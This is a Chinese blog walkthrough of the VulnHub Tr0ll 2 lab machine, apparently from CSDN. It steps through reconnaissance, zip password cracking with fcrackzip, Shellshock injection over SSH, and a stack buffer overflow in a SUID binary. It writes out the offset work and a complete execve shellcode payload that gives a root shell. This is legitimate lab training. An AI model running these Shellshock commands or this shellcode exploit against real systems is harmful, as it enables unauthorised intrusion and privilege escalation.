2、vulnhub-tr0ll-2

1. 渗透过程

1.1 nmap 发现靶机

1.2 nmap扫描详细信息

1.3 爆破目录,获取到robots.txt

1.4 robots.txt中的路径添加到字典中,进一步爆破

发现4个页面,浏览器访问后,均为相同的图片。

将图片都下载下来,进行比较

1.5 计算图片MD5

发现下载下来的4个图片中,2.jpg 明显不同,使用16进行编辑器查看。

这里使用 strings 命令查看:

发现文件有信息: ​ y0ur_self 

1.6 获取密码字典

访问 http://192.168.8.121/y0ur_self/ 

进而访问: http://192.168.8.121/y0ur_self/answer.txt 

页面内容为base64编码,需要批量解码。

使用 wget http://192.168.8.121/y0ur_self/answer.txt 将文件下载下来,

并使用命令进行解码: cat answer.txt | base64 --decode > decode.txt 

1.7 弱密码登录ftp

使用Tr0ll/Tr0ll顺利登录ftp服务器:

在ftp服务器只发现了一个文件: lmao.zip ,通过get下载下来

1.8 通过密码字典解压缩 ​lmao.zip​ 

通过 unzip 解压时发现需要密码

使用1.7解码后的 decode.txt 作为密码字典进行解压,

使用fcrackzip工具: fcrackzip -v -D -u -p decode.txt lmao.zip 

 

Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linuxmac osx 系统。

-u zip去尝试

-D 使用字典

-p 使用字符串作为初始密码/文件

来自 VulnHub-TR0LL: 2-靶机渗透学习_嗯嗯呐的博客-CSDN博客

 

解压之后发现 noob 文件内容为 RSA 私钥:

1.9 使用私钥登录SSH

尝试使用noob用户和noob私钥文件登录靶机

直接ssh登录会自动断开,这里存在一个shellshock漏洞:

分析详见:

详解ShellShock 漏洞复现原理,内附ShellShock的修复方法_shellshock漏洞_悬镜安全的博客-CSDN博客

Bash还有一种使用环境变量来定义函数的方法,这是它的特性。

如果环境变量的值以字符"() {"开头,那么这个变量就会被当作是一个导入函数的定义(Export),这种定义只有在shell启动的时候才生效。

例如:

 

成功登录ssh三种方式,详见链接:https://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh

ssh noob@192.168.8.121 -i noob -t "() { :; }; /bin/bash"

ssh -i noob noob@192.168.8.121 -t "() { :; }; /bin/bash"

ssh -i noob 192.168.8.121 -l noob -t "() { :; }; /bin/bash"

查看特权: find / -user root -perm -4000 -print 2>/dev/null 

 

1.10 缓冲区溢出漏洞

缓冲区溢出漏洞和codeshell原理,见

浅析缓冲区溢出漏洞的利用与Shellcode编写_Tr0e的博客-CSDN博客

尝试执行r00t, ./r00t ,得到用法

测试是否存在缓冲区溢出: ./r00t $(python -c 'print "A" * 300')   ---生成300A 

得到提示: Segmentation fault 意为分段错误,确认存在溢出。

1.11 查找偏移量

pattern_create是生成一个字符串模板输入后根据EIP来确定覆盖return addr的长度。

1.11.1 利用 ​patern_creat.rb​ ,在kali本地生成300个字符,找偏移量:

 locate pattern_create.rb 

 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300 

1.11.2 GDB分析

gdbGNU开源组织发布的一个强大的Linux下的程序调试工具,逆向分析有非常多好用的工具,但是GDB毋庸置疑是最强之一,它的pwndbgpeda插件那就是辅助GDB上神器行列的最强帮手。

使用gbd进行拆解,找溢出值,填充生成的300字符,获取偏移地址:

gdb r00t

run  Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

 

获取到地址 0x6a413969 ,利用kali中的 pattern_offset.rb ,找偏移量:

 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 6a413969 

获取偏移量为268。

1.11.3 查找ESP的溢出地址

前面找到偏移量之后,可以知道栈空间大小占据空间位置,接下来要找到跳板地址也就是ESP,就可以跳到恶意代码shellcode的位置。

(1)print写入268个A和4个B,查找出EIP地址: r $(python -c 'print "A"*268 + "B"*4') 

使用 info r 查看:

(2)获取ESP值(下一跳值)

print写入268个A,4个B和20个C,查找出ESP地址: r $(python -c 'print "A"*268 + "B"*4 + "C"*20') 

获取到ESP地址: 0xbffffb50 ,即反向ESP为 \x50\xfb\xff\xbf 

1.11.4 shellcode编写

编写漏洞利用程序。(A * 268)(shell偏移量)(nop sled)(shellcode)

发现esp的位置是0xbffffb50,但测试中发现有时候不能使用此偏移量作为shell位置。必须稍微增加或减少偏移量,因为在调试二进制文件时内存有所不同。

 ./r00t $(python -c 'print "A"*268 + "\x30\xfb\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"') 

 

成功获取到root权限的shell,拿到Proof.txt的文件内容。终于成功!

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值